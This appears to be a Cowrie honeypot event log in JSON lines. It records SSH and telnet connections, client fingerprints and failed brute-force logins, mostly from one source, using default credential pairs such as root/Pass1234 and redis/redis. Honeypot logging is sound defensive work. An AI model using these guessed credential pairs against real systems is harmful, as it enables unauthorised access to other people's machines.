{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":54968,"dst_ip":"159.203.135.109","dst_port":23,"session":"76400aea1bbb","protocol":"telnet","message":"New connection: 64.227.82.147:54968 (159.203.135.109:23) [session: 76400aea1bbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:08.195363Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41438,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ba7b390ee74","protocol":"ssh","message":"New connection: 176.65.132.129:41438 (10.17.0.5:22) [session: 2ba7b390ee74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:08.514481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:08.519582Z","src_ip":"176.65.132.129","session":"2ba7b390ee74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:08.601870Z","src_ip":"176.65.132.129","session":"2ba7b390ee74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"123456","message":"login attempt [fastuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:08.849734Z","src_ip":"176.65.132.129","session":"2ba7b390ee74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.8364098072052002,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:09.031654Z","src_ip":"64.227.82.147","session":"76400aea1bbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:09.953158Z","src_ip":"176.65.132.129","session":"2ba7b390ee74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.73004412651062,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:11.613134Z","src_ip":"192.211.53.160","session":"dca5581dca21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41452,"dst_ip":"10.17.0.5","dst_port":22,"session":"269baff32676","protocol":"ssh","message":"New connection: 176.65.132.129:41452 (10.17.0.5:22) [session: 269baff32676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:11.853409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:11.862737Z","src_ip":"176.65.132.129","session":"269baff32676","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:11.947179Z","src_ip":"176.65.132.129","session":"269baff32676","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass1234","message":"login attempt [root/Pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:12.257659Z","src_ip":"176.65.132.129","session":"269baff32676","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:13.344889Z","src_ip":"176.65.132.129","session":"269baff32676","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41464,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3396bf9ffba","protocol":"ssh","message":"New connection: 176.65.132.129:41464 (10.17.0.5:22) [session: d3396bf9ffba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:15.315154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:15.319233Z","src_ip":"176.65.132.129","session":"d3396bf9ffba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:15.401188Z","src_ip":"176.65.132.129","session":"d3396bf9ffba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":49124,"dst_ip":"10.17.0.5","dst_port":23,"session":"7051ab97b256","protocol":"telnet","message":"New connection: 45.81.23.16:49124 (10.17.0.5:23) [session: 7051ab97b256]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:15.536991Z"}
{"eventid":"cowrie.login.failed","username":"root2","password":"root2","message":"login attempt [root2/root2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:15.651726Z","src_ip":"176.65.132.129","session":"d3396bf9ffba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":50064,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f718524672e","protocol":"telnet","message":"New connection: 64.227.82.147:50064 (159.203.135.109:23) [session: 9f718524672e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:15.728835Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":49126,"dst_ip":"10.17.0.5","dst_port":23,"session":"cedca26587bf","protocol":"telnet","message":"New connection: 45.81.23.16:49126 (10.17.0.5:23) [session: cedca26587bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:15.837856Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:16.737572Z","src_ip":"176.65.132.129","session":"d3396bf9ffba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41532,"dst_ip":"159.203.135.109","dst_port":23,"session":"c22c7750b774","protocol":"telnet","message":"New connection: 38.60.198.128:41532 (159.203.135.109:23) [session: c22c7750b774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:17.900047Z"}
{"eventid":"cowrie.session.closed","duration":12.93441653251648,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:18.163052Z","src_ip":"89.107.138.186","session":"9f279b33acf6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33948,"dst_ip":"10.17.0.5","dst_port":22,"session":"d57527bd7b24","protocol":"ssh","message":"New connection: 176.65.132.129:33948 (10.17.0.5:22) [session: d57527bd7b24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:18.635883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:18.641141Z","src_ip":"176.65.132.129","session":"d57527bd7b24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:18.722953Z","src_ip":"176.65.132.129","session":"d57527bd7b24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"runner","message":"login attempt [runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:18.967949Z","src_ip":"176.65.132.129","session":"d57527bd7b24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:20.052915Z","src_ip":"176.65.132.129","session":"d57527bd7b24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.68228054046631,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:20.177074Z","src_ip":"38.60.198.128","session":"07ce1a528ca3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":35156,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fabc3123cc2","protocol":"telnet","message":"New connection: 38.54.119.93:35156 (10.17.0.5:23) [session: 8fabc3123cc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:21.230512Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33958,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d70f33d94a2","protocol":"ssh","message":"New connection: 176.65.132.129:33958 (10.17.0.5:22) [session: 6d70f33d94a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:22.138008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:22.156630Z","src_ip":"176.65.132.129","session":"6d70f33d94a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:22.221543Z","src_ip":"176.65.132.129","session":"6d70f33d94a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ricardo","password":"123456","message":"login attempt [ricardo/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:22.537569Z","src_ip":"176.65.132.129","session":"6d70f33d94a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:23.622448Z","src_ip":"176.65.132.129","session":"6d70f33d94a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.3464195728302,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:24.481642Z","src_ip":"192.211.53.160","session":"70415f2fff69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33972,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f02886458f6","protocol":"ssh","message":"New connection: 176.65.132.129:33972 (10.17.0.5:22) [session: 5f02886458f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:25.441112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:25.446383Z","src_ip":"176.65.132.129","session":"5f02886458f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:25.530978Z","src_ip":"176.65.132.129","session":"5f02886458f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"redis","password":"redis","message":"login attempt [redis/redis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:25.784367Z","src_ip":"176.65.132.129","session":"5f02886458f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":38314,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe02c2d6678d","protocol":"telnet","message":"New connection: 38.54.119.93:38314 (10.17.0.5:23) [session: fe02c2d6678d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:25.957036Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:26.910134Z","src_ip":"176.65.132.129","session":"5f02886458f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55200,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf91a12380ec","protocol":"ssh","message":"New connection: 176.65.132.129:55200 (10.17.0.5:22) [session: bf91a12380ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:28.802755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:28.807522Z","src_ip":"176.65.132.129","session":"bf91a12380ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:28.889607Z","src_ip":"176.65.132.129","session":"bf91a12380ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka","message":"login attempt [kafka/kafka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:29.136298Z","src_ip":"176.65.132.129","session":"bf91a12380ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:30.221127Z","src_ip":"176.65.132.129","session":"bf91a12380ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.2512412071228,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:31.452541Z","src_ip":"64.227.82.147","session":"4044d9a38465","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55216,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9280f93e2be","protocol":"ssh","message":"New connection: 176.65.132.129:55216 (10.17.0.5:22) [session: f9280f93e2be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:32.304664Z"}
